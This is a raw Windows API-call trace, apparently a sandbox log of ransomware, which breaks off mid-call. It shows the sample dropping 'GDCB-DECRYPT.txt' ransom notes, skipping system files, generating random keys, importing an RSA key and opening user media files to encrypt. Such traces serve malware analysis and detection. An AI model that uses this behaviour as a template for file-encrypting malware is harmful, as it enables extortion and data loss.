[0170.541] GetLastError () returned 0x3 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.541] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 310 [0170.541] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.541] GetLastError () returned 0x3 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.541] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 301 [0170.541] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.miracastview_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.541] GetLastError () returned 0x3 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.542] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 300 [0170.542] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.printdialog_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.542] GetLastError () returned 0x3 [0170.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.542] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 303 [0170.542] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.542] GetLastError () returned 0x3 [0170.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.545] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows_ie_ac_001\\\\GDCB-DECRYPT.txt") returned 284 [0170.545] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows_ie_ac_001\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows_ie_ac_001\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.545] GetLastError () returned 0x3 [0170.545] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.545] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.545] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.545] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.545] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub\\\\GDCB-DECRYPT.txt") returned 271 [0170.545] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\peerdistrepub\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.545] GetLastError () returned 0x3 [0170.546] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.546] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.546] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.546] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.549] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers\\\\GDCB-DECRYPT.txt") returned 268 [0170.549] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\publishers\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.549] GetLastError () returned 0x3 [0170.549] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.549] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.549] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.549] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.549] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers\\8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 282 [0170.550] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers\\8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\publishers\\8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.550] GetLastError () returned 0x3 [0170.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.550] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\\\GDCB-DECRYPT.txt") returned 262 [0170.550] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.550] GetLastError () returned 0x3 [0170.550] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv") returned 264 [0170.550] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv") returned 264 [0170.550] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv") returned 264 [0170.550] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv") returned 264 [0170.550] lstrcmpiW (lpString1="-369M1WtPTX1gbG.flv", lpString2="desktop.ini") returned -1 [0170.550] lstrcmpiW (lpString1="-369M1WtPTX1gbG.flv", lpString2="autorun.inf") returned -1 [0170.550] lstrcmpiW (lpString1="-369M1WtPTX1gbG.flv", lpString2="ntuser.dat") returned -1 [0170.550] lstrcmpiW (lpString1="-369M1WtPTX1gbG.flv", lpString2="iconcache.db") returned -1 [0170.550] lstrcmpiW (lpString1="-369M1WtPTX1gbG.flv", lpString2="bootsect.bak") returned -1 [0170.550] lstrcmpiW (lpString1="-369M1WtPTX1gbG.flv", lpString2="boot.ini") returned -1 [0170.550] lstrcmpiW (lpString1="-369M1WtPTX1gbG.flv", lpString2="ntuser.dat.log") returned -1 [0170.550] lstrcmpiW (lpString1="-369M1WtPTX1gbG.flv", lpString2="thumbs.db") returned -1 [0170.550] lstrcmpiW (lpString1="-369M1WtPTX1gbG.flv", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.550] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-369m1wtptx1gbg.flv")) returned 0xffffffff [0170.551] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv", dwFileAttributes=0xfffffffe) returned 0 [0170.551] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0170.551] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.551] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.551] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.551] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.551] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.552] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.552] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.552] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.552] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.552] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0170.554] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f61b0) returned 1 [0170.554] CryptGetKeyParam (in: hKey=0x5f61b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.554] CryptEncrypt (in: hKey=0x5f61b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2930000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2930000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.554] GetLastError () returned 0x0 [0170.554] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.554] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.556] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5af0) returned 1 [0170.556] CryptGetKeyParam (in: hKey=0x5f5af0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.556] CryptEncrypt (in: hKey=0x5f5af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2940000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2940000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.556] GetLastError () returned 0x0 [0170.556] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.556] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-369M1WtPTX1gbG.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-369m1wtptx1gbg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.556] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a") returned 260 [0170.556] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a") returned 260 [0170.556] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a") returned 260 [0170.556] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a") returned 260 [0170.556] lstrcmpiW (lpString1="2VKr21JCYqf.m4a", lpString2="desktop.ini") returned -1 [0170.556] lstrcmpiW (lpString1="2VKr21JCYqf.m4a", lpString2="autorun.inf") returned -1 [0170.556] lstrcmpiW (lpString1="2VKr21JCYqf.m4a", lpString2="ntuser.dat") returned -1 [0170.556] lstrcmpiW (lpString1="2VKr21JCYqf.m4a", lpString2="iconcache.db") returned -1 [0170.556] lstrcmpiW (lpString1="2VKr21JCYqf.m4a", lpString2="bootsect.bak") returned -1 [0170.556] lstrcmpiW (lpString1="2VKr21JCYqf.m4a", lpString2="boot.ini") returned -1 [0170.556] lstrcmpiW (lpString1="2VKr21JCYqf.m4a", lpString2="ntuser.dat.log") returned -1 [0170.557] lstrcmpiW (lpString1="2VKr21JCYqf.m4a", lpString2="thumbs.db") returned -1 [0170.557] lstrcmpiW (lpString1="2VKr21JCYqf.m4a", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.557] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2vkr21jcyqf.m4a")) returned 0xffffffff [0170.557] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a", dwFileAttributes=0xfffffffe) returned 0 [0170.557] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.557] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.557] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.557] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.557] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.558] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.558] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.558] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.558] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.558] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.560] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5bf0) returned 1 [0170.560] CryptGetKeyParam (in: hKey=0x5f5bf0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.560] CryptEncrypt (in: hKey=0x5f5bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2950000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2950000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.561] GetLastError () returned 0x0 [0170.561] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.561] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.562] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5ab0) returned 1 [0170.562] CryptGetKeyParam (in: hKey=0x5f5ab0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, 